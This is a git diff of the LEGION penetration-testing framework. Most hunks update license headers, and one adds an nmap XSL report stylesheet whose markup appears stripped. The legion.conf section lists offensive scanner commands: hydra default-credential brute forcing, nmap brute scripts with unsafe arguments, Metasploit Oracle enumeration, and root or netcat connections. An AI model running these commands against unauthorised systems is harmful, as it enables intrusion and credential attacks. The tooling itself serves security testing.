100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -19,7 +19,7 @@ from db.entities.host import hostObj from scripts.python import pyShodan, macvendors -from ui.ancillaryDialog import time +from time import time class PythonImporter(QtCore.QThread): diff --git a/app/importers/__init__.py b/app/importers/__init__.py index bcdbc64c..c1f1c80d 100644 --- a/app/importers/__init__.py +++ b/app/importers/__init__.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/logging/legionLog.py b/app/logging/legionLog.py index 38da8153..da3ee515 100644 --- a/app/logging/legionLog.py +++ b/app/logging/legionLog.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/logic.py b/app/logic.py index ba443543..e592cfa7 100644 --- a/app/logic.py +++ b/app/logic.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/processmodels.py b/app/processmodels.py index 45db0b82..c66726da 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/scriptmodels.py b/app/scriptmodels.py index 0de95f8f..59ecd22f 100644 --- a/app/scriptmodels.py +++ b/app/scriptmodels.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2018 GoVanguard +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/servicemodels.py b/app/servicemodels.py index b6128f1f..6143d370 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/settings.py b/app/settings.py index fcc8f337..ecd05a28 100644 --- a/app/settings.py +++ b/app/settings.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/timing.py b/app/timing.py index 2a68c51c..4af799db 100644 --- a/app/timing.py +++ b/app/timing.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/ToolCoordinator.py b/app/tools/ToolCoordinator.py index 9b346dc8..7146005d 100644 --- a/app/tools/ToolCoordinator.py +++ b/app/tools/ToolCoordinator.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/nmap/DefaultNmapExporter.py b/app/tools/nmap/DefaultNmapExporter.py index 04fa4c48..47f220ee 100644 --- a/app/tools/nmap/DefaultNmapExporter.py +++ b/app/tools/nmap/DefaultNmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -21,6 +21,7 @@ from app.shell.Shell import Shell from app.timing import timing from app.tools.nmap.NmapExporter import NmapExporter +import os class DefaultNmapExporter(NmapExporter): @@ -30,7 +31,7 @@ def __init__(self, shell: Shell): @timing def exportOutputToHtml(self, fileName: str, outputFolder: str) -> None: try: - command = f"xsltproc -o {fileName}.html {fileName}.xml" + command = f"xsltproc -o {fileName}.html nmap.xsl {fileName}.xml" p = subprocess.Popen(command, shell=True) p.wait() self.shell.move(f"{fileName}.html", outputFolder) diff --git a/app/tools/nmap/NmapExporter.py b/app/tools/nmap/NmapExporter.py index fa6cf5b4..2604bdcb 100644 --- a/app/tools/nmap/NmapExporter.py +++ b/app/tools/nmap/NmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/nmap/NmapHelpers.py b/app/tools/nmap/NmapHelpers.py index ffaecea8..86bb7173 100644 --- a/app/tools/nmap/NmapHelpers.py +++ b/app/tools/nmap/NmapHelpers.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/nmap/NmapPaths.py b/app/tools/nmap/NmapPaths.py index 9205e539..40ed457e 100644 --- a/app/tools/nmap/NmapPaths.py +++ b/app/tools/nmap/NmapPaths.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/controller/controller.py b/controller/controller.py index f5d3d71e..6762a48b 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ LEGION (https://govanguard.com) -Copyright (c) 2018 GoVanguard +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/RepositoryContainer.py b/db/RepositoryContainer.py index 93e7b5d7..e36d3252 100644 --- a/db/RepositoryContainer.py +++ b/db/RepositoryContainer.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/RepositoryFactory.py b/db/RepositoryFactory.py index 5f40fce3..87f2caf3 100644 --- a/db/RepositoryFactory.py +++ b/db/RepositoryFactory.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/database.py b/db/database.py index 7d85ebee..c62ed3c4 100644 --- a/db/database.py +++ b/db/database.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/app.py b/db/entities/app.py index 9fd64195..8fc59e05 100644 --- a/db/entities/app.py +++ b/db/entities/app.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/cve.py b/db/entities/cve.py index d6001c4b..4b8059b3 100644 --- a/db/entities/cve.py +++ b/db/entities/cve.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/host.py b/db/entities/host.py index 3e92ebcf..13ccde0d 100644 --- a/db/entities/host.py +++ b/db/entities/host.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/l1script.py b/db/entities/l1script.py index 81f00093..e4ad151c 100644 --- a/db/entities/l1script.py +++ b/db/entities/l1script.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/nmapSession.py b/db/entities/nmapSession.py index d2574160..7b7c1c35 100644 --- a/db/entities/nmapSession.py +++ b/db/entities/nmapSession.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/note.py b/db/entities/note.py index 806b196f..e785d93f 100644 --- a/db/entities/note.py +++ b/db/entities/note.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/os.py b/db/entities/os.py index 39b32aae..531bd51d 100644 --- a/db/entities/os.py +++ b/db/entities/os.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/port.py b/db/entities/port.py index 1490c89b..f59a457e 100644 --- a/db/entities/port.py +++ b/db/entities/port.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/process.py b/db/entities/process.py index 519a8a6e..b9c40b23 100644 --- a/db/entities/process.py +++ b/db/entities/process.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/processOutput.py b/db/entities/processOutput.py index f0ecb25b..1f8a8420 100644 --- a/db/entities/processOutput.py +++ b/db/entities/processOutput.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/service.py b/db/entities/service.py index ab009d80..e5c9ff97 100644 --- a/db/entities/service.py +++ b/db/entities/service.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/filters.py b/db/filters.py index 8a1cb6b7..d8bb1d6e 100644 --- a/db/filters.py +++ b/db/filters.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/CVERepository.py b/db/repositories/CVERepository.py index e40186c3..65ab17ad 100644 --- a/db/repositories/CVERepository.py +++ b/db/repositories/CVERepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/HostRepository.py b/db/repositories/HostRepository.py index b3d19acb..db1044df 100644 --- a/db/repositories/HostRepository.py +++ b/db/repositories/HostRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/NoteRepository.py b/db/repositories/NoteRepository.py index 7e67ed08..ee685fa6 100644 --- a/db/repositories/NoteRepository.py +++ b/db/repositories/NoteRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py index ba19ebfe..3312ce19 100644 --- a/db/repositories/PortRepository.py +++ b/db/repositories/PortRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index 54943234..c17980c5 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/ScriptRepository.py b/db/repositories/ScriptRepository.py index cdde1a88..3382227d 100644 --- a/db/repositories/ScriptRepository.py +++ b/db/repositories/ScriptRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/ServiceRepository.py b/db/repositories/ServiceRepository.py index 15c73847..75b6d9ee 100644 --- a/db/repositories/ServiceRepository.py +++ b/db/repositories/ServiceRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/validation.py b/db/validation.py index 85567c1c..4d8b8d66 100644 --- a/db/validation.py +++ b/db/validation.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/legion.conf b/legion.conf index 92bc6806..a565301e 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,491,100" +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,481,100" process-tab-detail=false [GeneralSettings] @@ -201,9 +201,9 @@ oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --sc oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", "oracle-tns" +oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", "oracle-tns" +oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 @@ -273,7 +273,7 @@ snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -theharvester=Run theharvester, "theharvester -d [IP]:[PORT] -b all -n -c -t -h", dns +theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" @@ -282,18 +282,18 @@ whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt wpscan=Run wpscan, "wpscan --url [IP]:[PORT], http", "https\nx11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11\n\n[PortTerminalActions]\nfirefox=Open with firefox, firefox [IP]:[PORT], \nftp=Open with ftp client, ftp [IP] [PORT], ftp\nmssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], mys-sql-s" [PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], +firefox=Open with firefox, firefox [IP]:[PORT], ftp=Open with ftp client, ftp [IP] [PORT], ftp mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], +netcat=Open with netcat, nc -v [IP] [PORT], psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" rsh=Open with rsh, rsh -l root [IP], shell ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], +telnet=Open with telnet, telnet [IP] [PORT], vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp diff --git a/legion.py b/legion.py index 5c173c1a..dbe924ce 100644 --- a/legion.py +++ b/legion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ LEGION (https://govanguard.com) -Copyright (c) 2018 GoVanguard +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/nmap.xsl b/nmap.xsl new file mode 100644 index 00000000..1be7ead5 --- /dev/null +++ b/nmap.xsl @@ -0,0 +1,1071 @@ + + + + + + + +0.9c + + + + + + + + + + + + + + + + + + + + +generated with nmap.xsl - version by Benjamin Erb - http://www.benjamin-erb.de/nmap_xsl.php + + + + Nmap Scan Report - Scanned at <xsl:value-of select="$start" /> + + + + + + + + +
+ +

Nmap Scan Report - Scanned at

+ +
+ + + scansummary + + + + +

Scan Summary

+ +

+ Nmap was initiated at with these arguments:
+
+

+

+ Verbosity: ; Debug level +

+ +

+ +

+ + + + + + + + + +
+ + + + +
+ + + + + + + + + + + + host_ + + + + + +

+ + + + + / + + + + (online) +

+ +
+ + +

+ + + + + / + + + + + javascript:toggle('hostblock_'); + host_down + (click to expand) + + (offline)

+
+ +
+ + + + hostblock_ + + + + unhidden + + + + hidden + + + + + +

Address

+ +
    + +
  • + + - + + + + () +
  • +
    +
+
+ + + + +
+ + + javascript:toggle('metrics_'); + Misc Metrics (click to expand) + + + + + metrics_ + hidden + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MetricValue
Ping Results + + from + + +
System Uptime seconds (last reboot: ) +
Network Distance hops
TCP Sequence PredictionDifficulty= ()
IP ID Sequence Generation
+
+ +
+ +
+ + + + + + + +

Hostnames

+
+ + + + + +
  • ()
  • +
    + + + + + + +

    Ports

    + + +

    The ports scanned but not shown below are in state:

    +
    + +
      + + +
    • ports replied with:

    • +
      +
      +
    +
    + + + + + + + + + + + porttable_ + 1 + + + Port + State + + javascript:togglePorts('porttable_','closed'); + (toggle closed [] + + + javascript:togglePorts('porttable_','filtered'); + | filtered []) + + + Service + Reason + Product + Version + Extra info + + + + + +
    + + + + + + + + + + + + +   + + + from + + + +   +   +   + + + + + +   + +
      
    + + + +
    +
    + + + + + + +   + + + from + + + +   +   +   + + + + + + + + +   + + + from + + + +   +   +   + + + + + + + + +   + + + from + + + +   +   +   + + + +
    +
    + + + + + +

    Remote Operating System Detection

    + +

    Unable to identify operating system.

    + +
      + +
    • Used port: / ()
    • +
      + + +
    • OS match: (%)
    • +
      +
    + + + +
    + + + + + + + + + + + + +
      +
    • Cannot determine exact operating system. Fingerprint provided below.
    • +
    • If you know what OS is running on it, see https://nmap.org/submit/
    • +
    + + + + + + + +
    Operating System fingerprint
    + +
    + + +
      +
    • OS identified but the fingerprint was requested at scan time. + + + javascript:toggle('osblock_'); + (click to expand) + +
    • +
    + + + osblock_ + hidden + + + + + + + + +
    Operating System fingerprint
    + +
    + +
    + +
    + +
    + + + + + + + + + + prescript + + +

    Pre-Scan Script Output

    + + + + + + + + + + + + + + +
    Script NameOutput
    +   + +
    +           
    +        
    +
    +
    + + + + + + + + + + postscript + + +

    Post-Scan Script Putput

    + + + + + + + + + + + + + + +
    Script NameOutput
    +   + +
    +           
    +        
    +
    +
    + + + + + + +

    Host Script Output

    + + + + + + + + + + + + + + +
    Script NameOutput
    +   + +
    +              
    +          
    +
    +
    + + + + + +

    Smurf Responses

    +
      +
    • responses counted
    • +
    +
    +
    + + + + + + + + + + + + + + javascript:toggle('trace_'); + Traceroute Information (click to expand) + + + + trace_ + hidden + + + + +
    • Traceroute data generated using port /
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    HopRttIPHost
    --
    +
    + +
    +
    + +
    diff --git a/parsers/examples/HostExample.py b/parsers/examples/HostExample.py index f971223d..f2b0251e 100644 --- a/parsers/examples/HostExample.py +++ b/parsers/examples/HostExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/OsExample.py b/parsers/examples/OsExample.py index ef904076..4eace1b3 100644 --- a/parsers/examples/OsExample.py +++ b/parsers/examples/OsExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ParserExample.py b/parsers/examples/ParserExample.py index 2cae0bc8..fbe57889 100644 --- a/parsers/examples/ParserExample.py +++ b/parsers/examples/ParserExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ScriptExample.py b/parsers/examples/ScriptExample.py index 90adb95b..ee731b69 100644 --- a/parsers/examples/ScriptExample.py +++ b/parsers/examples/ScriptExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ServiceExample.py b/parsers/examples/ServiceExample.py index f93ad919..b52c91c6 100644 --- a/parsers/examples/ServiceExample.py +++ b/parsers/examples/ServiceExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/SessionExample.py b/parsers/examples/SessionExample.py index c168a8d2..935361cb 100644 --- a/parsers/examples/SessionExample.py +++ b/parsers/examples/SessionExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/__init__.py b/parsers/examples/__init__.py index bcdbc64c..c1f1c80d 100644 --- a/parsers/examples/__init__.py +++ b/parsers/examples/__init__.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/precommit.sh b/precommit.sh index c42391c0..25b3c3c2 100644 --- a/precommit.sh +++ b/precommit.sh @@ -1,8 +1,8 @@ #!/bin/bash # Update last update in controller -sed -i -r 